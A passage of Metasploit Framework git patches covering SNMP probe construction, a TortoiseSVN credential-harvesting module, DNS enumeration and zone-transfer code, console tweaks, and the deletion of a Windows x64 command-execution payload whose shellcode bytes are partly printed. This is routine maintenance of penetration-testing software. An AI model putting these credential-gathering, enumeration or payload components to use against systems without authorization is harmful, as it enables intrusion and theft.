"\x01\x01\x00\x05\x00" - head = "\x30" + [pdu.length].pack('C') - data = head + pdu + version = 1 + data = OpenSSL::ASN1::Sequence([ + OpenSSL::ASN1::Integer(version - 1), + OpenSSL::ASN1::OctetString("public"), + OpenSSL::ASN1::Set.new([ + OpenSSL::ASN1::Integer(rand(0x80000000)), + OpenSSL::ASN1::Integer(0), + OpenSSL::ASN1::Integer(0), + OpenSSL::ASN1::Sequence([ + OpenSSL::ASN1::Sequence([ + OpenSSL::ASN1.ObjectId("1.3.6.1.2.1.1.1.0"), + OpenSSL::ASN1.Null(nil) + ]) + ]), + ], 0, :IMPLICIT) + ]).to_der [data, 161] end def probe_pkt_snmp2(ip) - name = 'public' - xid = rand(0x100000000) - pdu = - "\x02\x01\x01" + - "\x04" + [name.length].pack('c') + name + - "\xa1\x19" + - "\x02\x04" + [xid].pack('N') + - "\x02\x01\x00" + - "\x02\x01\x00" + - "\x30\x0b\x30\x09\x06\x05\x2b\x06\x01\x02\x01" + - "\x05\x00" - head = "\x30" + [pdu.length].pack('C') - data = head + pdu + version = 2 + data = OpenSSL::ASN1::Sequence([ + OpenSSL::ASN1::Integer(version - 1), + OpenSSL::ASN1::OctetString("public"), + OpenSSL::ASN1::Set.new([ + OpenSSL::ASN1::Integer(rand(0x80000000)), + OpenSSL::ASN1::Integer(0), + OpenSSL::ASN1::Integer(0), + OpenSSL::ASN1::Sequence([ + OpenSSL::ASN1::Sequence([ + OpenSSL::ASN1.ObjectId("1.3.6.1.2.1.1.1.0"), + OpenSSL::ASN1.Null(nil) + ]) + ]), + ], 0, :IMPLICIT) + ]).to_der [data, 161] end diff --git a/modules/auxiliary/scanner/discovery/udp_sweep.rb b/modules/auxiliary/scanner/discovery/udp_sweep.rb index 22959631c9..e8222d1e05 100644 --- a/modules/auxiliary/scanner/discovery/udp_sweep.rb +++ b/modules/auxiliary/scanner/discovery/udp_sweep.rb @@ -432,36 +432,42 @@ class Metasploit3 < Msf::Auxiliary end def probe_pkt_snmp1(ip) - name = 'public' - xid = rand(0x100000000) - pdu = - "\x02\x01\x00" + - "\x04" + [name.length].pack('c') + name + - "\xa0\x1c" + - "\x02\x04" + [xid].pack('N') + - "\x02\x01\x00" + - "\x02\x01\x00" + - "\x30\x0e\x30\x0c\x06\x08\x2b\x06\x01\x02\x01" + - "\x01\x01\x00\x05\x00" - head = "\x30" + [pdu.length].pack('C') - data = head + pdu + version = 1 + data = OpenSSL::ASN1::Sequence([ + OpenSSL::ASN1::Integer(version - 1), + OpenSSL::ASN1::OctetString("public"), + OpenSSL::ASN1::Set.new([ + OpenSSL::ASN1::Integer(rand(0x80000000)), + OpenSSL::ASN1::Integer(0), + OpenSSL::ASN1::Integer(0), + OpenSSL::ASN1::Sequence([ + OpenSSL::ASN1::Sequence([ + OpenSSL::ASN1.ObjectId("1.3.6.1.2.1.1.1.0"), + OpenSSL::ASN1.Null(nil) + ]) + ]), + ], 0, :IMPLICIT) + ]).to_der [data, 161] end def probe_pkt_snmp2(ip) - name = 'public' - xid = rand(0x100000000) - pdu = - "\x02\x01\x01" + - "\x04" + [name.length].pack('c') + name + - "\xa1\x19" + - "\x02\x04" + [xid].pack('N') + - "\x02\x01\x00" + - "\x02\x01\x00" + - "\x30\x0b\x30\x09\x06\x05\x2b\x06\x01\x02\x01" + - "\x05\x00" - head = "\x30" + [pdu.length].pack('C') - data = head + pdu + version = 2 + data = OpenSSL::ASN1::Sequence([ + OpenSSL::ASN1::Integer(version - 1), + OpenSSL::ASN1::OctetString("public"), + OpenSSL::ASN1::Set.new([ + OpenSSL::ASN1::Integer(rand(0x80000000)), + OpenSSL::ASN1::Integer(0), + OpenSSL::ASN1::Integer(0), + OpenSSL::ASN1::Sequence([ + OpenSSL::ASN1::Sequence([ + OpenSSL::ASN1.ObjectId("1.3.6.1.2.1.1.1.0"), + OpenSSL::ASN1.Null(nil) + ]) + ]), + ], 0, :IMPLICIT) + ]).to_der [data, 161] end From bf35b9bdf4239ea8ee6615223e2bc2648005ee1c Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Sat, 6 Jun 2015 01:35:09 -0500 Subject: [PATCH 0343/1013] Minor fix --- modules/post/windows/gather/credentials/tortoisesvn.rb | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/modules/post/windows/gather/credentials/tortoisesvn.rb b/modules/post/windows/gather/credentials/tortoisesvn.rb index 303f42695b..731d3da103 100644 --- a/modules/post/windows/gather/credentials/tortoisesvn.rb +++ b/modules/post/windows/gather/credentials/tortoisesvn.rb @@ -91,7 +91,7 @@ class Metasploit3 < Msf::Post end report_cred( - host: ::Rex::Socket.resolv(http_proxy_host), # TODO: Fix up report_host? + ip: ::Rex::Socket.resolv(http_proxy_host), # TODO: Fix up report_host? port: http_proxy_port, service_name: 'http', user: http_proxy_username, @@ -232,8 +232,8 @@ class Metasploit3 < Msf::Post else print_status("Searching for TortoiseSVN...") prepare_railgun - get_config_files() - get_proxy_data() + get_config_files + get_proxy_data end print_status("Complete") From cec20ec5d917ab767b57231d18e8c10d349b0020 Mon Sep 17 00:00:00 2001 From: HD Moore Date: Sat, 6 Jun 2015 11:46:19 -0500 Subject: [PATCH 0344/1013] Handle a rare corner case --- lib/metasploit/framework/login_scanner/snmp.rb | 3 +++ 1 file changed, 3 insertions(+) diff --git a/lib/metasploit/framework/login_scanner/snmp.rb b/lib/metasploit/framework/login_scanner/snmp.rb index 5160f3747c..afeb5267de 100644 --- a/lib/metasploit/framework/login_scanner/snmp.rb +++ b/lib/metasploit/framework/login_scanner/snmp.rb @@ -153,6 +153,9 @@ module Metasploit # Associate the community with the original credential result_options[:credential] = credential_map[result_options.delete(:community)] + # In the rare chance that we got a result for a community we didn't scan... + next unless result_options[:credential] + # Create, freeze, and yield the result result = ::Metasploit::Framework::LoginScanner::Result.new(result_options) result.freeze From c80017992adb1886a8c2f0009bf775df144a9c8a Mon Sep 17 00:00:00 2001 From: HD Moore Date: Sat, 6 Jun 2015 13:48:52 -0500 Subject: [PATCH 0345/1013] A dirty patch for a number of Net::DNS/dns_enum issues --- lib/net/dns/resolver.rb | 108 ++++++++++++----------- lib/net/dns/rr.rb | 125 ++++++++++++++------------- modules/auxiliary/gather/enum_dns.rb | 84 +++--------------- 3 files changed, 136 insertions(+), 181 deletions(-) diff --git a/lib/net/dns/resolver.rb b/lib/net/dns/resolver.rb index 036d31dd8f..b593441f2d 100644 --- a/lib/net/dns/resolver.rb +++ b/lib/net/dns/resolver.rb @@ -87,6 +87,9 @@ module Net # :nodoc: # class Resolver + class NextNameserver < RuntimeError + end + # An hash with the defaults values of almost all the # configuration parameters of a resolver object. See # the description for each parameter to have an @@ -109,7 +112,7 @@ module Net # :nodoc: :ignore_truncated => false, :packet_size => 512, :tcp_timeout => TcpTimeout.new(120), - :udp_timeout => UdpTimeout.new(0)} + :udp_timeout => UdpTimeout.new(5)} # Create a new resolver object. # @@ -887,8 +890,11 @@ module Net # :nodoc: end @logger.debug "Query(#{name},#{Net::DNS::RR::Types.new(type)},#{Net::DNS::RR::Classes.new(cls)})" - - send(name,type,cls) + begin + send(name,type,cls) + rescue ::NoResponseError + return + end end @@ -1011,13 +1017,13 @@ module Net # :nodoc: packet_data = packet.data packet_size = packet_data.size - if @raw - @logger.warn "AXFR query, switching to TCP over RAW socket" - method = :send_raw_tcp - else - @logger.warn "AXFR query, switching to TCP" - method = :send_tcp - end + if @raw + @logger.warn "AXFR query, switching to TCP over RAW socket" + method = :send_raw_tcp + else + @logger.warn "AXFR query, switching to TCP" + method = :send_tcp + end answers = [] soa = 0 @@ -1026,7 +1032,7 @@ module Net # :nodoc: begin response = Net::DNS::Packet.parse(ans[0],ans[1]) - if response.answer[0].type == "SOA" + if response && response.answer && response.answer[0] && response.answer[0].type == "SOA" soa += 1 if soa >= 2 break @@ -1167,50 +1173,54 @@ module Net # :nodoc: sockaddr = Socket.pack_sockaddr_in(@config[:port],ns.to_s) @config[:tcp_timeout].timeout do - catch "next nameserver" do - socket.connect(sockaddr) - @logger.info "Contacting nameserver #{ns} port #{@config[:port]}" - socket.write(length+packet_data) - got_something = false - loop do - buffer = "" + socket.connect(sockaddr) + @logger.info "Contacting nameserver #{ns} port #{@config[:port]}" + socket.write(length+packet_data) + got_something = false + loop do + buffer = "" + begin ans = socket.recv(Net::DNS::INT16SZ) - if ans.size == 0 - if got_something - break #Proper exit from loop - else - @logger.warn "Connection reset to nameserver #{ns}, trying next." - throw "next nameserver" - end - end - got_something = true - len = ans.unpack("n")[0] - - @logger.info "Receiving #{len} bytes..." - - if len == 0 - @logger.warn "Receiving 0 length packet from nameserver #{ns}, trying next." - throw "next nameserver" - end - - while (buffer.size < len) - left = len - buffer.size - temp,from = socket.recvfrom(left) - buffer += temp - end - - unless buffer.size == len - @logger.warn "Malformed packet from nameserver #{ns}, trying next." - throw "next nameserver" - end - if block_given? - yield [buffer,["",@config[:port],ns.to_s,ns.to_s]] + rescue ::Errno::ECONNRESET + ans = "" + end + if ans.size == 0 + if got_something + break #Proper exit from loop else - return [buffer,["",@config[:port],ns.to_s,ns.to_s]] + @logger.warn "Connection reset to nameserver #{ns}, trying next." + raise NextNameserver end end + got_something = true + len = ans.unpack("n")[0] + + @logger.info "Receiving #{len} bytes..." + + if len == 0 + @logger.warn "Receiving 0 length packet from nameserver #{ns}, trying next." + raise NextNameserver + end + + while (buffer.size < len) + left = len - buffer.size + temp,from = socket.recvfrom(left) + buffer += temp + end + + unless buffer.size == len + @logger.warn "Malformed packet from nameserver #{ns}, trying next." + raise NextNameserver + end + if block_given? + yield [buffer,["",@config[:port],ns.to_s,ns.to_s]] + else + return [buffer,["",@config[:port],ns.to_s,ns.to_s]] + end end end + rescue NextNameserver + next rescue Timeout::Error @logger.warn "Nameserver #{ns} not responding within TCP timeout, trying next one" next diff --git a/lib/net/dns/rr.rb b/lib/net/dns/rr.rb index 1629c3f3a7..7183f95657 100644 --- a/lib/net/dns/rr.rb +++ b/lib/net/dns/rr.rb @@ -1,6 +1,6 @@ # -*- coding: binary -*- # -# $Id: RR.rb,v 1.19 2006/07/28 07:33:36 bluemonk Exp $ +# $Id: RR.rb,v 1.19 2006/07/28 07:33:36 bluemonk Exp $ # require 'net/dns/names/names' @@ -13,37 +13,37 @@ require 'net/dns/rr/classes' end module Net # :nodoc: - module DNS - + module DNS + # =Name # # Net::DNS::RR - DNS Resource Record class # # =Synopsis - # + # # require 'net/dns/rr' # # =Description - # - # The Net::DNS::RR is the base class for DNS Resource + # + # The Net::DNS::RR is the base class for DNS Resource # Record (RR) objects. A RR is a pack of data that represents - # resources for a DNS zone. The form in which this data is + # resources for a DNS zone. The form in which this data is # shows can be drawed as follow: # # "name ttl class type data" - # + # # The +name+ is the name of the resource, like an canonical # name for an +A+ record (internet ip address). The +ttl+ is the - # time to live, expressed in seconds. +type+ and +class+ are + # time to live, expressed in seconds. +type+ and +class+ are # respectively the type of resource (+A+ for ip addresses, +NS+ - # for nameservers, and so on) and the class, which is almost + # for nameservers, and so on) and the class, which is almost # always +IN+, the Internet class. At the end, +data+ is the - # value associated to the name for that particular type of + # value associated to the name for that particular type of # resource record. An example: # # # A record for IP address # "www.example.com 86400 IN A 172.16.100.1" - # + # # # NS record for name server # "www.example.com 86400 IN NS ns.example.com" # @@ -61,20 +61,20 @@ module Net # :nodoc: # * RRDataError: Error in parsing binary data, maybe from a malformed packet # # =Copyright - # + # # Copyright (c) 2006 Marco Ceresa # - # All rights reserved. This program is free software; you may redistribute + # All rights reserved. This program is free software; you may redistribute # it and/or modify it under the same terms as Ruby itself. # class RR include Net::DNS::Names - + # Regexp matching an RR string RR_REGEXP = Regexp.new("^\\s*(\\S+)\\s*(\\d+)?\\s+(" + - Net::DNS::RR::Classes.regexp + + Net::DNS::RR::Classes.regexp + "|CLASS\\d+)?\\s*(" + - Net::DNS::RR::Types.regexp + + Net::DNS::RR::Types.regexp + "|TYPE\\d+)?\\s*(.*)$", Regexp::IGNORECASE, 'n') # Dimension of the sum of class, type, TTL and rdlength fields in a @@ -85,13 +85,13 @@ module Net # :nodoc: attr_reader :name # TTL time (in seconds) of the RR attr_reader :ttl - # Data belonging to that appropriate class, + # Data belonging to that appropriate class, # not to be used (use real accessors instead) attr_reader :rdata - + # Create a new instance of Net::DNS::RR class, or an instance of # any of the subclass of the appropriate type. - # + # # Argument can be a string or an hash. With a sting, we can pass # a RR resource record in the canonical format: # @@ -101,12 +101,12 @@ module Net # :nodoc: # txt = Net::DNS::RR.new('baz.example.com 3600 HS TXT "text record"') # # Incidentally, +a+, +mx+, +cname+ and +txt+ objects will be instances of - # respectively Net::DNS::RR::A, Net::DNS::RR::MX, Net::DNS::RR::CNAME and + # respectively Net::DNS::RR::A, Net::DNS::RR::MX, Net::DNS::RR::CNAME and # Net::DNS::RR::TXT classes. # - # The name and RR data are required; all other informations are optional. + # The name and RR data are required; all other informations are optional. # If omitted, the +TTL+ defaults to 10800, +type+ default to +A+ and the RR class - # defaults to +IN+. Omitting the optional fields is useful for creating the + # defaults to +IN+. Omitting the optional fields is useful for creating the # empty RDATA sections required for certain dynamic update operations. # All names must be fully qualified. The trailing dot (.) is optional. # @@ -125,12 +125,12 @@ module Net # :nodoc: # :rdata => "10.1.2.3" # ) # - # Name and data are required; all the others fields are optionals like - # we've seen before. The data field can be specified either with the + # Name and data are required; all the others fields are optionals like + # we've seen before. The data field can be specified either with the # right name of the resource (+:address+ in the example above) or with # the generic key +:rdata+. Consult documentation to find the exact name # for the resource in each subclass. - # + # def initialize(arg) case arg when String @@ -157,18 +157,18 @@ module Net # :nodoc: # # This method is used when parsing a binary packet by the Packet # class. - # + # def RR.parse(data) o = allocate obj,offset = o.send(:new_from_binary, data, 0) return obj end - - # Same as RR.parse, but takes an entire packet binary data to + + # Same as RR.parse, but takes an entire packet binary data to # perform name expansion. Default when analizing a packet # just received from a network stream. # - # Return an instance of appropriate class and the offset + # Return an instance of appropriate class and the offset # pointing at the end of the data parsed. # def RR.parse_packet(data,offset) @@ -176,12 +176,12 @@ module Net # :nodoc: o.send(:new_from_binary,data,offset) end - # Return the RR object in binary data format, suitable - # for using in network streams, with names compressed. + # Return the RR object in binary data format, suitable + # for using in network streams, with names compressed. # Must pass as arguments the offset inside the packet # and an hash of compressed names. # - # This method is to be used in other classes and is + # This method is to be used in other classes and is # not intended for user space programs. # # TO FIX in one of the future releases @@ -193,8 +193,8 @@ module Net # :nodoc: offset += Net::DNS::RRFIXEDSZ return str,offset,names end - - # Return the RR object in binary data format, suitable + + # Return the RR object in binary data format, suitable # for using in network streams. # # raw_data = rr.data @@ -205,17 +205,17 @@ module Net # :nodoc: str = pack_name(@name) return str + [type,cls,@ttl,@rdlength].pack("n2 N n") + get_data end - - # Canonical inspect method + + # Canonical inspect method # # mx = Net::DNS::RR.new("example.com. 7200 MX 10 mailhost.example.com.") # #=> example.com. 7200 IN MX 10 mailhost.example.com. # def inspect - data = get_inspect + data = get_inspect # Returns the preformatted string if @name.size < 24 - [@name, @ttl.to_s, @cls.to_s, @type.to_s, + [@name, @ttl.to_s, @cls.to_s, @type.to_s, data].pack("A24 A8 A8 A8 A*") else to_a.join(" ") @@ -241,26 +241,26 @@ module Net # :nodoc: def to_a [@name,@ttl,@cls.to_s,@type.to_s,get_inspect] end - + # Type accessor def type @type.to_s end - + # Class accessor def cls @cls.to_s end - + private - + #--- # New RR with argument in string form #--- def new_from_string(rrstring) unless rrstring =~ RR_REGEXP - raise RRArgumentError, + raise RRArgumentError, "Format error for RR string (maybe CLASS and TYPE not valid?)" end @@ -270,19 +270,19 @@ module Net # :nodoc: rescue NoMethodError raise RRArgumentError, "Missing name field in RR string #{rrstring}" end - + # Time to live for RR, default 3 hours @ttl = $2 ? $2.to_i : 10800 - + # RR class, default to IN @cls = Net::DNS::RR::Classes.new $3 - + # RR type, default to A @type = Net::DNS::RR::Types.new $4 - - # All the rest is data - @rdata = $5 ? $5.strip : "" - + + # All the rest is data + @rdata = $5 ? $5.strip : "" + if self.class == Net::DNS::RR (eval "Net::DNS::RR::#@type").new(rrstring) else @@ -290,11 +290,11 @@ module Net # :nodoc: self.class end end - + def new_from_hash(args) - - # Name field is mandatory - unless args.has_key? :name + + # Name field is mandatory + unless args.has_key? :name raise RRArgumentError, "RR argument error: need at least RR name" end @@ -302,7 +302,7 @@ module Net # :nodoc: @ttl = args[:ttl] ? args[:ttl].to_i : 10800 # Default 3 hours @type = Net::DNS::RR::Types.new args[:type] @cls = Net::DNS::RR::Classes.new args[:cls] - + @rdata = args[:rdata] ? args[:rdata].strip : "" @rdlength = args[:rdlength] || @rdata.size @@ -323,6 +323,7 @@ module Net # :nodoc: if self.class == Net::DNS::RR temp = dn_expand(data,offset)[1] type = Net::DNS::RR::Types.new data.unpack("@#{temp} n")[0] + return unless Net::DNS::RR.const_defined?(type.to_s) (eval "Net::DNS::RR::#{type}").parse_packet(data,offset) else @name,offset = dn_expand(data,offset) @@ -338,7 +339,7 @@ module Net # :nodoc: # rescue StandardError => err # raise RRDataError, "Caught exception, maybe packet malformed: #{err}" end - + # Methods to be overridden by subclasses def subclass_new_from_array(arr) end @@ -369,9 +370,9 @@ module Net # :nodoc: return o end end - + end # class RR - + end # module DNS end # module Net @@ -381,10 +382,10 @@ class RRDataError < StandardError # :nodoc: end module ExtendHash # :nodoc: - - # Performs a sort of group difference + + # Performs a sort of group difference # operation on hashes or arrays - # + # # a = {:a=>1,:b=>2,:c=>3} # b = {:a=>1,:b=>2} # c = [:a,:c] diff --git a/modules/auxiliary/gather/enum_dns.rb b/modules/auxiliary/gather/enum_dns.rb index a9188e22f6..7c19308176 100644 --- a/modules/auxiliary/gather/enum_dns.rb +++ b/modules/auxiliary/gather/enum_dns.rb @@ -296,6 +296,7 @@ class Metasploit3 < Msf::Auxiliary tl << framework.threads.spawn("Module(#{self.refname})-#{ip}", false, ip.dup) do |tip| begin query = @res.query(tip) + raise ::Rex::ConnectionError query.each_ptr do |addresstp| print_status("Hostname: #{addresstp} IP address: #{tip.to_s}") report_note(:host => @nsinuse.to_s, @@ -342,12 +343,13 @@ class Metasploit3 < Msf::Auxiliary srvrcd.each do |srvt| trg = "#{srvt}#{dom}" query = @res.query(trg , Net::DNS::SRV) - if query - query.answer.each do |srv| - print_status("SRV Record: #{trg} Host: #{srv.host} Port: #{srv.port} Priority: #{srv.priority}") if srv.type != "CNAME" - end + next unless query + query.answer.each do |srv| + next if srv.type == "CNAME" + print_status("SRV Record: #{trg} Host: #{srv.host} Port: #{srv.port} Priority: #{srv.priority}") end end + print_status("Done") end # For Performing Zone Transfers @@ -359,7 +361,7 @@ class Metasploit3 < Msf::Auxiliary end @res.tcp_timeout=15 query = @res.query(target, "NS") - if (query.answer.length != 0) + if query && query.answer.length != 0 (query.answer.select { |i| i.class == Net::DNS::RR::NS}).each do |nsrcd| print_status("Testing nameserver: #{nsrcd.nsdname}") nssrvquery = @res.query(nsrcd.nsdname, "A") @@ -372,7 +374,12 @@ class Metasploit3 < Msf::Auxiliary @res.nameserver=(nssrvip) @nsinuse = nssrvip zone = [] - zone = @res.axfr(target) + + begin + zone = @res.axfr(target) + rescue ::NoResponseError + end + if zone.length != 0 print_status("Zone transfer successful") report_note(:host => nssrvip, @@ -381,7 +388,7 @@ class Metasploit3 < Msf::Auxiliary :port => 53 , :type => 'dns.enum', :update => :unique_data, - :data => "Zone transfer successful") + :data => zone) # Prints each record according to its type zone.each do |response| response.answer.each do |rr| @@ -389,85 +396,22 @@ class Metasploit3 < Msf::Auxiliary case rr.type when "A" print_status("Name: #{rr.name} IP address: #{rr.address} Record: A ") - report_note(:host => nssrvip, - :proto => 'udp', - :sname => 'dns', - :port => 53 , - :type => 'dns.enum', - :update => :unique_data, - :data => "#{rr.address.to_s},#{rr.name},A") when "SOA" print_status("Name: #{rr.mname} Record: SOA") - report_note(:host => nssrvip, - :proto => 'udp', - :sname => 'dns', - :port => 53 , - :type => 'dns.enum', - :update => :unique_data, - :data => "#{rr.name},SOA") when "MX" print_status("Name: #{rr.exchange} Preference: #{rr.preference} Record: MX") - report_note(:host => nssrvip, - :proto => 'udp', - :sname => 'dns', - :port => 53 , - :type => 'dns.enum', - :update => :unique_data, - :data => "#{rr.exchange},MX") when "CNAME" print_status("Name: #{rr.cname} Record: CNAME") - report_note(:host => nssrvip, - :proto => 'udp', - :sname => 'dns', - :port => 53 , - :type => 'dns.enum', - :update => :unique_data, - :data => "#{rr.cname},CNAME") when "HINFO" print_status("CPU: #{rr.cpu} OS: #{rr.os} Record: HINFO") - report_note(:host => nssrvip, - :proto => 'udp', - :sname => 'dns', - :port => 53 , - :type => 'dns.enum', - :update => :unique_data, - :data => "CPU:#{rr.cpu},OS:#{rr.os},HINFO") when "AAAA" print_status("IPv6 Address: #{rr.address} Record: AAAA") - report_note(:host => nssrvip, - :proto => 'udp', - :sname => 'dns', - :port => 53 , - :type => 'dns.enum', - :update => :unique_data, - :data => "#{rr.address.to_s}, AAAA") when "NS" print_status("Name: #{rr.nsdname} Record: NS") - report_note(:host => nssrvip, - :proto => 'udp', - :sname => 'dns', - :port => 53 , - :type => 'dns.enum', - :update => :unique_data, - :data => "#{rr.nsdname},NS") when "TXT" print_status("Text: #{rr.inspect}") - report_note(:host => nssrvip, - :proto => 'udp', - :sname => 'dns', - :port => 53 , - :type => 'dns.enum', - :update => :unique_data, - :data => rr.inspect) when "SRV" print_status("Host: #{rr.host} Port: #{rr.port} Priority: #{rr.priority} Record: SRV") - report_note(:host => nssrvip, - :proto => 'udp', - :sname => 'dns', - :port => 53 , - :type => 'dns.enum', - :update => :unique_data, - :data => "#{rr.host},#{rr.port},#{rr.priority},SRV") end rescue ActiveRecord::RecordInvalid # Do nothing. Probably tried to store :host => 127.0.0.1 From fe09d9888e54d55a9e4a3f2cd704dd34a8ec869a Mon Sep 17 00:00:00 2001 From: HD Moore Date: Sat, 6 Jun 2015 14:30:42 -0500 Subject: [PATCH 0346/1013] Small rework of the spinners, clear the line when done --- lib/metasploit/framework/command/console.rb | 16 +++++++++++++--- lib/msf/ui/console/driver.rb | 2 +- 2 files changed, 14 insertions(+), 4 deletions(-) diff --git a/lib/metasploit/framework/command/console.rb b/lib/metasploit/framework/command/console.rb index 82a4c892e9..797d8dcdc0 100644 --- a/lib/metasploit/framework/command/console.rb +++ b/lib/metasploit/framework/command/console.rb @@ -19,11 +19,21 @@ class Metasploit::Framework::Command::Console < Metasploit::Framework::Command:: return if Rex::Compat.is_cygwin return if $msf_spinner_thread $msf_spinner_thread = Thread.new do - $stderr.print "[*] Starting the Metasploit Framework console..." + base_line = "[*] Starting the Metasploit Framework console..." + cycle = 0 loop do %q{/-\|}.each_char do |c| - $stderr.print c - $stderr.print "\b" + status = "#{base_line}#{c}\r" + cycle += 1 + off = cycle % base_line.length + case status[off, 1] + when /[a-z]/ + status[off, 1] = status[off, 1].upcase + when /[A-Z]/ + status[off, 1] = status[off, 1].downcase + end + $stderr.print status + ::IO.select(nil, nil, nil, 0.10) end end end diff --git a/lib/msf/ui/console/driver.rb b/lib/msf/ui/console/driver.rb index 922d3c384c..b25d827a4e 100644 --- a/lib/msf/ui/console/driver.rb +++ b/lib/msf/ui/console/driver.rb @@ -547,7 +547,7 @@ class Driver < Msf::Ui::Driver if $msf_spinner_thread $msf_spinner_thread.kill - $stderr.print "\n" + $stderr.print "\r" + (" " * 60) + "\n" end run_single("banner") unless opts['DisableBanner'] From f761d411c4182feeee4ebb970a82f5900eaf5258 Mon Sep 17 00:00:00 2001 From: William Vu Date: Sat, 6 Jun 2015 15:56:42 -0500 Subject: [PATCH 0347/1013] Adjust line clearing to cover only the text --- lib/msf/ui/console/driver.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/msf/ui/console/driver.rb b/lib/msf/ui/console/driver.rb index b25d827a4e..0810688fa4 100644 --- a/lib/msf/ui/console/driver.rb +++ b/lib/msf/ui/console/driver.rb @@ -547,7 +547,7 @@ class Driver < Msf::Ui::Driver if $msf_spinner_thread $msf_spinner_thread.kill - $stderr.print "\r" + (" " * 60) + "\n" + $stderr.print "\r" + (" " * 50) + "\n" end run_single("banner") unless opts['DisableBanner'] From bd3690838315601733023aac9732a2fdb1e0637f Mon Sep 17 00:00:00 2001 From: HD Moore Date: Sat, 6 Jun 2015 17:07:03 -0500 Subject: [PATCH 0348/1013] Fix #5500 by checking for session.respond_to?(:response_timeout) --- lib/msf/ui/console/command_dispatcher/core.rb | 28 +++++++++++++------ 1 file changed, 20 insertions(+), 8 deletions(-) diff --git a/lib/msf/ui/console/command_dispatcher/core.rb b/lib/msf/ui/console/command_dispatcher/core.rb index e07d71fa49..f395805f99 100644 --- a/lib/msf/ui/console/command_dispatcher/core.rb +++ b/lib/msf/ui/console/command_dispatcher/core.rb @@ -1778,8 +1778,8 @@ class Core end ensure # Restore timeout for each session - if session.respond_to?(:response_timeout) - session.response_timeout = last_known_timeout if last_known_timeout + if session.respond_to?(:response_timeout) && last_known_timeout + session.response_timeout = last_known_timeout end end # If the session isn't a meterpreter or shell type, it @@ -1801,7 +1801,9 @@ class Core begin session.kill ensure - session.response_timeout = last_known_timeout if last_known_timeout + if session.respond_to?(:response_timeout) && last_known_timeout + session.response_timeout = last_known_timeout + end end else print_error("Invalid session identifier: #{sess_id}") @@ -1819,7 +1821,9 @@ class Core begin session.kill ensure - session.response_timeout = last_known_timeout if last_known_timeout + if session.respond_to?(:response_timeout) && last_known_timeout + session.response_timeout = last_known_timeout + end end end end @@ -1837,7 +1841,9 @@ class Core begin session.detach ensure - session.response_timeout = last_known_timeout if last_known_timeout + if session.respond_to?(:response_timeout) && last_known_timeout + session.response_timeout = last_known_timeout + end end end end @@ -1855,7 +1861,9 @@ class Core self.active_session = nil driver.input.reset_tab_completion if driver.input.supports_readline ensure - session.response_timeout = last_known_timeout if last_known_timeout + if session.respond_to?(:response_timeout) && last_known_timeout + session.response_timeout = last_known_timeout + end end end when 'scriptall' @@ -1893,7 +1901,9 @@ class Core end end ensure - session.response_timeout = last_known_timeout if last_known_timeout + if session.respond_to?(:response_timeout) && last_known_timeout + session.response_timeout = last_known_timeout + end end else print_error("Invalid session identifier: #{sess_id}") @@ -1919,7 +1929,9 @@ class Core next end ensure - session.response_timeout = last_known_timeout if last_known_timeout + if session.respond_to?(:response_timeout) && last_known_timeout + session.response_timeout = last_known_timeout + end end end From a46510465db6f1f605e8c0db4b6cb456c1dc66dd Mon Sep 17 00:00:00 2001 From: RageLtMan Date: Sun, 7 Jun 2015 02:58:31 -0400 Subject: [PATCH 0349/1013] Fix older Windows payloads to not require UUID Default Windows payload to not include_send_uuid for compatibility. --- lib/msf/core/payload/windows.rb | 8 ++++++++ 1 file changed, 8 insertions(+) diff --git a/lib/msf/core/payload/windows.rb b/lib/msf/core/payload/windows.rb index f05324a63a..c0f764629c 100644 --- a/lib/msf/core/payload/windows.rb +++ b/lib/msf/core/payload/windows.rb @@ -163,5 +163,13 @@ module Msf::Payload::Windows @@exit_types.dup end + # + # By default, we don't want to send the UUID, but we'll send + # for certain payloads if requested. + # + def include_send_uuid + false + end + end From 537dc6e2181ce292286ccd3ca3fc7ac058296d26 Mon Sep 17 00:00:00 2001 From: RageLtMan Date: Sun, 7 Jun 2015 11:42:24 -0400 Subject: [PATCH 0350/1013] Update Payload Cached Sizes fails in PSH Script When attempting to update cached payload sizes which utilize the Rex::Powershell functionality, the BRE block which appropriates initial code is called with the 'code' variable being a nil which results in: ``` lib/rex/powershell/script.rb:40:in `initialize': no implicit conversion of nil into String (TypeError) ``` This throws a conditional into the File.open call which presents an empty string instead of a nil. This still results in the rescue block having to catch the exception, but manages to keep the payload size updating script happy an retains consistent behavior. --- lib/rex/powershell/script.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/rex/powershell/script.rb b/lib/rex/powershell/script.rb index cfde3bb887..83297447ab 100644 --- a/lib/rex/powershell/script.rb +++ b/lib/rex/powershell/script.rb @@ -37,7 +37,7 @@ module Powershell begin # Open code file for reading - fd = ::File.new(code, 'rb') + fd = ::File.new(code || '', 'rb') while (line = fd.gets) @code << line end From 20b605e7cbecb8384efdaa6a6fc07484e94906a4 Mon Sep 17 00:00:00 2001 From: benpturner Date: Sun, 7 Jun 2015 18:11:11 +0100 Subject: [PATCH 0351/1013] Remove duplicate exec --- lib/msf/core/payload/windows/x64/exec.rb | 65 ------------------------ 1 file changed, 65 deletions(-) delete mode 100644 lib/msf/core/payload/windows/x64/exec.rb diff --git a/lib/msf/core/payload/windows/x64/exec.rb b/lib/msf/core/payload/windows/x64/exec.rb deleted file mode 100644 index 547ca5cfe4..0000000000 --- a/lib/msf/core/payload/windows/x64/exec.rb +++ /dev/null @@ -1,65 +0,0 @@ -## -# This module requires Metasploit: http://metasploit.com/download -# Current source: https://github.com/rapid7/metasploit-framework -## - - -require 'msf/core' - - -module Metasploit3 - - CachedSize = 268 - - include Msf::Payload::Windows - include Msf::Payload::Single - - def initialize(info = {}) - super(merge_info(info, - 'Name' => 'Windows x64 Execute Command', - 'Description' => 'Execute an arbitrary command (Windows x64)', - 'Author' => [ 'sf' ], - 'License' => MSF_LICENSE, - 'Platform' => 'win', - 'Arch' => ARCH_X86_64, - 'Payload' => - { - 'Offsets' => - { - 'EXITFUNC' => [ 229, 'V' ] - }, - 'Payload' => - "\xFC\x48\x83\xE4\xF0\xE8\xC0\x00\x00\x00\x41\x51\x41\x50\x52\x51" + - "\x56\x48\x31\xD2\x65\x48\x8B\x52\x60\x48\x8B\x52\x18\x48\x8B\x52" + - "\x20\x48\x8B\x72\x50\x48\x0F\xB7\x4A\x4A\x4D\x31\xC9\x48\x31\xC0" + - 